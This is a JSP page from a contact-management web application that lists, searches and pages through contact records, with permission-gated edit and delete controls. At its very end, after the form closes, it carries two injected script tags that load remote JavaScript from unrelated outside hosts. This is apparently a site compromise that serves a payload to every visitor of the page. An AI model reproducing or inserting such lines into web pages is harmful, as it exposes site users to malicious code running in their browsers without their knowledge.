<%
/*
 * @(#)ListContactPerson.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListContactPerson.jsp

  This is a ListContactPerson page.  It shows the contact list record in contact management.

    @author             Jenny Li
    @company            DCIVision Ltd
    @creation date      05/01/2004
    @version            $Revision: 1.9.6.8 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="com.dcivision.contact.dao.*"%>
<%@ page import="com.dcivision.contact.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listContactPersonForm" scope="request" class="com.dcivision.contact.web.ListContactPersonForm"/>

<%
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);

  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "contactPersonList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"contact.label.first_name", "FIRST_NAME"},
                            {"contact.label.last_name", "LAST_NAME"},
                            {"contact.label.phone_no", "PHONE_NO "},
                            {"contact.label.email", "EMAIL"},
                            {"contact.label.sharing", GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"contact.label.first_name", "FIRST_NAME"},
                             {"contact.label.last_name", "LAST_NAME"},
                             {"contact.label.email", "EMAIL"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<!-- Form Section Begin -->
<html:form action="contact/ListContactPerson.do" method="POST">

<script language="javascript">
<!--
function popupImportContact() {
  var url = "<%=request.getContextPath()%>"+"/contact/MaintImportContact.do";
  var name = "DCIVisionImportContact";
  var popW = "600";
  var popH = "300";
  var feature = "scrollbars=yes,resizable=no";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}
-->
</script>

<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<!-- Page Title Section Begin -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/></font></layout:titleFormat>
<!-- Page Title Section End -->
<!-- System And Error Messages Begin -->

<!-- System And Error Messages End -->
<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" onkeypress="if(event.keyCode==13) OpList(listContactPersonForm, '<bean:write name='listContactPersonForm' property='sortAttribute' replace=''/>', '<bean:write name='listContactPersonForm' property='sortOrder' replace=''/>');">
  <tr>
    <td class="greyD" width="10">
      <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif'/><b>&nbsp;<bean:message key='common.label.search'/>:</b></nobr>
    </td>
    <td class="greyD">
      <html:select property="basicSearchField">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
      <html:text property='basicSearchKeyword' size='25' maxlength='100'/>
      <%String clickString = "return(OpList(listContactPersonForm, '" + listContactPersonForm.getSortAttribute() + ", '" + listContactPersonForm.getSortOrder() + "'))"; %>
      <html:standardButton label="common.label.search" onClick='<%=clickString%>'/>
      <html:standardButton label="common.label.reset" onClick="return(OpListReset(listContactPersonForm))"/>
    </td>
  </tr>
</table>
<!-- Search Panel End -->
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<br>
<!-- Table Heading Begin -->

<!-- Table Heading End -->
<table cellpadding="3" cellspacing="0" border="0" width="100%">
  <tr>
    <td>
      <html:permissionButton label="common.label.new" right="I" link="MaintContactPerson.do"/>
      <html:permissionButton label="common.label.import" right="P" onClick="return popupImportContact();"/>
    </td>
  </tr>
</table>

<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listContactPersonForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listContactPersonForm .getSortAttribute()%>" sortOrder="<%=listContactPersonForm .getSortOrder()%>" copyColumn="false" />
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="contactPerson" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)contactPerson).getID()%>);">
    <td align="center">
      <%if(sessionContainer.getUserRecordID().equals(((AbstractBaseObject)contactPerson).getCreatorID())){%>
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='contactPerson' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
      <%}else{%>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      <%}%>
    </td>
    <td align="center">
      <%if(sessionContainer.getUserRecordID().equals(((AbstractBaseObject)contactPerson).getCreatorID())){%>
      <logic:permission right='E'>
      <a href="MaintContactPerson.do?navMode=E&ID=<bean:write name='contactPerson' property='ID'/>"><html:img src='IconEdit.gif' align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif' align='absmiddle'/>
      </logic:permission>
      <%}else{%>
      <html:img src='IconEditDisable.gif' align='absmiddle'/>
      <%}%>
    </td>
    <td nowrap>
      <a href="MaintContactPerson.do?navMode=V&ID=<bean:write name='contactPerson' property='ID'/>">
      <bean:write name='contactPerson' property='firstName'/>
      </a>
    </td>
    <td nowrap>
      <bean:write name='contactPerson' property='lastName'/>
    </td>
    <td><bean:write name='contactPerson' property='phoneNo'/></td>
    <td>
     <a href="mailto:<bean:write name='contactPerson' property='email'/>"><bean:write name='contactPerson' property='email'/></a>
    </td>
    <td><bean:write name='contactPerson' property='publicFlag'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='contactPerson' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='contactPerson' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listContactPersonForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">
            <html:permissionButton label="common.label.delete" right="D" onClick="return(OpListDelete(listContactPersonForm))"/>
          </td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
  <!-- Pager Information End -->
</table>
</td></tr></table>
<!-- Table Showing Record List End -->

</td></tr></table>
</html:form>
<!-- Form Section End -->
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>